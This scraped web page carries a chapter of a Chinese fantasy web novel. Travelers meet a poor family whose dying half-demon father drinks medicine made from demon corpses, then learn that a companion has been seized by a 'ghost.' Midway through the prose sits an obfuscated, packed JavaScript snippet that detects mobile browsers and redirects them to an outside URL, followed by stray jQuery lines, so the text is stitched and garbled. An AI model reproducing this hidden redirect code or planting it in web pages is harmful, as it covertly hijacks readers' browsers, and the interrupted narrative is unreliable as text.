24. 药医不死病

作品:《不招小白脸GB

    白日炎热,晚上气温降了下来。


    院子里冷得结白霜。


    姚烛走到檐下,观察长绳上挂着的皱皮萝卜。


    热气腾腾的猪肉炖白菜出了锅。容溪帮忙端出来,小女孩抱着摞碗筷跟在他后头,分发给大家,木橙先舀一大碗。


    “晚上怎么这么冷啊。”木橙边喝汤边吹热气。


    “我们这儿晚上是这样,”小女孩道:“你们冷得话,我可以去烧火。”


    “不用,先吃饭吧。”


    小女孩跑到姚烛后头,喊道:“姐姐吃饭了。”


    姚烛道:“你们吃。”


    小女孩道:“是不合胃口吗?”


    木橙道:“她是仙女,喝露水吃花瓣的,不食人间烟火。”


    小女孩信以为真,眼睛亮了起来,欣喜万分,“真的吗?”


    木橙故意道:“是啊,你有什么愿望,都可以向她许。”


    小女孩连忙双手合十:“我要爹爹赶快好起来。”


    姚烛无奈摇头,让她先去吃饭。


    到了夜里,屋内咳嗽声变得频繁,压抑着,像是怕吵到园子里的客人。


    妇人特意分了两份晚饭,带到房里去吃,伺候病人。姚烛走到门口,屋里孤灯一盏。床上躺着个形容枯槁、面容苍白的男子,身体瘦得只剩下一把骨头。妇人正坐在床头喂他喝汤,擦拭他嘴角流出来的汤汁。


    “你呀,好歹多吃两口,安心养好身子。”


    男人伸手推开汤碗,萎靡不振:“唉,都快死了,省点粮食吧。”


    妇人无可奈何道:“瞧你,又说这种话。”


    “今天客人出手阔绰,给的钱够咱们吃两三年。闺女天天盼着你好起来带她去放风筝。你喝了药,专心把身体调养好,别想那些事。我们娘两就算是烧高香了。”


    “那药有股血味我喝不下。”


    “你……”妇人欲言又止,瞥见门外有人。


    她起身相迎,赔笑道:“这里头乱糟糟的,姑娘怎么进来了。”


    姚烛看着床上的病秧子。男人灵气污浊,看起来已经命不久矣。


    床头的药碗散发着淡淡的血腥气。


    妇人悄悄挡住碗,脸上仍是殷切笑容,“可是饭菜不合胃口?”


    姚烛道:“他阳寿已尽,吸食妖血滋补,也无力回天。”


    她一语道破天机,妇人面色僵硬,笑容一点点龟裂开来,比哭还难看。


    今日来的客人肯定不是普通人。


    妇人无可隐瞒,压低了声音,沧桑不已,“可他今年才三十岁。”


    姚烛道:“蛾类半妖只能活这么久。”


    妇人颤声道:“可是我们成亲七年,孩子才六岁。”


    外头吃得热火朝天,三个人大快朵颐。屋里的沉重宛如潮水,冲击着那道低矮的门槛,随时会漫出去。妇人竭力收住情绪,端起碗。男人浑浊的眼珠里冒出两行泪水,流进斑白的鬓角里。油灯下的贫苦夫妻,沉默地对抗着现实。


    “我不知道,你们用怎样的方式猎杀半妖,分尸,熬药。”


    姚烛把现实撕裂,掀开赤裸裸的一面,道:“好心提醒你,尸体吃得越多,毒素越多。你丈夫迟早会被毒死,你女儿会死在捕猎路上。”


    妇人抖着手,强忍道:“多谢姑娘告诫。”


    姚烛取出袖中一瓶丹药,放在桌上,道:“这是净化丸,给他服下,可以祛毒。停止服用半妖的尸体,他还能活半年。半年时间,足以让你们全家好好告别。”


    妇人抬起通红的眼睛,“你为什么要帮我们?”


    姚烛道:“不为什么。”


    妇人像是抓住救命稻草,扑通一声,跪下来。她给姚烛磕了三个响头,“您是高人,也是好人,一定有办法救活我闺女的父亲。”


    姚烛道:“我帮不了你。”


    妇人道:“求求您,大发慈悲。”


    姚烛道:“药医不死病。我活到头了,照样要死。”


    妇人道:“可我们只能活到三十啊。”


    有什么办法,谁让她们是蛾类。姚烛再有能耐,也没法改善人家的基因。怪就怪这个世道太不公平。有些人能活上千岁,有些人却只能活三十岁。


    听说有个叫麓山书院的地方弘扬一种理念,说是要抹除半妖之间的不公。他们派出各路杀手,杀死寿命超过五百岁的半妖,虽然无法给弱小群体延长寿命,但向着强者开刀的勇气赢得了广泛支持。补不起短板,把长板砍掉,也是一种解决办法。


    “你们好自为之。”姚烛的影子斜到屋外,把门槛劈作两半。她能做的只有这些。


    天边挂着一轮清冷的月亮。


    木橙正在和小女孩玩划拳游戏。


    谁输了谁钻桌子。两个人钻来钻去,小猫一样,玩的不亦乐乎。


    而容溪坐在井边洗碗。水面倒映着一轮清圆的月亮。他搓洗着每个瓷碗,让它们在自己手里变得洁净起来。姚烛出了房间,走到他旁边,看了一看,“你在做什么?”


    容溪有点郝然,闷声道:“我划拳输了。”


    姚烛道:“谁输谁洗碗?”


    容溪道:“嗯。”


    哪有让客人洗碗的道理,肯定是木橙出的鬼主意。擂台试炼她输给容溪,一直很不服气,暗地里较劲。容溪愿赌服输,撸起袖子就开始洗碗。洗得还挺干净。姚烛想起他在船上擦地板时,那抹弧度流畅的,纤瘦的背,“你怎么这么贤惠?”


    容溪道:“在家的时候,我多做一点,我爹就能少做一点。”


    姚烛道:“你爹养了个好儿子。”


    瓷碗碰撞叮当响,容溪洗了一遍又一遍。他知道姚烛在看着他。


    “那你有儿子吗?”


    她哪来的儿子,这话问得古怪,姚烛道:“木橙又跟你胡说八道些什么。”


    “她说你活了上千岁,私生子可能遍布九州。”


    “……”


    姚烛扭过头去,木橙刚从桌子里钻出来。


    木橙察觉身后目光不善,推着小女孩往外走:“我们吃多了,出去散步消食。”


    姚烛道:“木橙!”


    木橙脚底抹油扛起小女孩就跑:“待会见!”


    宛如炮弹一般,冲出院门,消失得无影无踪。


    院子里只剩下姚烛和容溪。


    容溪端起洗好的碗,往厨房方向走,他的影子与姚烛擦肩而过。


    姚烛解释道:“我没有上千岁,也没有私生子。”


    容溪道:“哦。”


    哦是什么意思?不相信。木橙到底背着她造了多少谣。


    容溪从姚烛影子上踩过,往返厨房,放碗。故意无视了她。抱了几根柴,在院子里点燃。黑夜里升起的篝火驱散寒意。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17045756|192640||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他们并排坐在火边,影子成双。就像在迷阵那回一样,火炭噼里啪啦响,温暖无声蔓延。


    沉默间,夜色越沉,薄云遮住了月光。


    容溪看了姚烛好几眼。


    姚烛身着一袭青柳绿色长裙,宽袍大袖。细细朱红腰带。肌肤素白若冰雪,气质带着生来不见阳光的病态孱弱。风吹就倒。可她目光沉静,眼珠生得黑而亮,倒映着一簇火苗。这样安宁,让人想说话都怕惊动那簇火苗。


    “这些晚上的试炼,我已经能够覆盖你识海里的雪山。”


    “嗯。”


    “我有资格为你护法了吗?”容溪心下忐忑不已。


    已经到了回风城,不出意外,明天就要出城去找龙骨秘境。这些时日的艰苦试炼也终于取得成果。他终于能够包裹姚烛的识海。他紧张万分,注视姚烛,等待她的回答。


    “还差一关。”姚烛道。


    “什么,”爆碳崩出几粒火星子,烫了他的衣摆。之前只说过识海相融,就算成功。怎么还不行。容溪一下子站了起来,惊愕交加,“还有哪一关?”


    “今夜这关。”姚烛看向他的眼睛。


    今夜还要做什么?容溪不解缘故。难道他还没有让她满意吗?


    姚烛体质特殊,她畏寒,又禁不住烈火。位于寒冷和炽热的中间,把握那点恰到好处的舒服。她注视着明亮的红碳,想象把碳握在手里的感觉。进入龙骨秘境的痛苦大概百倍甚于此。她必须做好心理准备。


    “今夜……”容溪刚要询问,话音戛然而止。


    巷子里,脚步声急促。


    院门被人一把推开。容溪立即起身,抓住腰间佩刀,拦在姚烛前面。


    小女孩扶着门框,气喘吁吁冲进来,大喊:“不好了!”


    她满脸灰尘,一副受惊模样,眼圈儿通红,“哥哥姐姐不好了,木橙姐姐不见了。”


    容溪和姚烛扭头看向慌乱的小孩。


    容溪道:“出什么事了?”


    小女孩道:“我、我们玩捉迷藏。墙里有只鬼,它把木橙姐姐抓掉了。”


    好端端的,怎么会闹鬼。小女孩吓得够呛,瑟瑟发抖,一路跑回来,直往姚烛背后钻。好像后面有鬼追她似的。容溪立即拔出刀,道:“我去看看。”


    他走到门口,意识到自己不能把姚烛单独丢下。他是她的护卫。


    容溪与姚烛对视了一眼。姚烛会意,他怕他走了出事。她还不至于弱到需要时刻保护。“去把木橙找回来。”


    容溪对姚烛的实力有一定了解。当务之急是去看看外面出了什么情况。木橙消失的地方不远,如果姚烛有事,大声呼救,他也能及时赶回来。“好,你自己小心。”


    他提刀匆匆离去,院子里只剩下姚烛和小女孩。


    小女孩的叫声并未引起父母注意。


    乌云蔽月,屋内的灯熄了。整座民房里仅存的光源,只有容溪烧的那堆火。小女孩紧紧抱住姚烛的胳膊,身体因为害怕忍不住战栗起来,她的声音轻而尖细,道:“姐姐,你说哥哥他们,会不会有危险啊?”


    姚烛道:“不会。”


    小女孩道:“你不担心吗?”


    姚烛道:“不担心。”


    小女孩仰起小脸,搂着姚烛的脖子,亲昵十分。


    “可是鬼也很厉害,听说他们吃人,会一口咬断人的脖子。”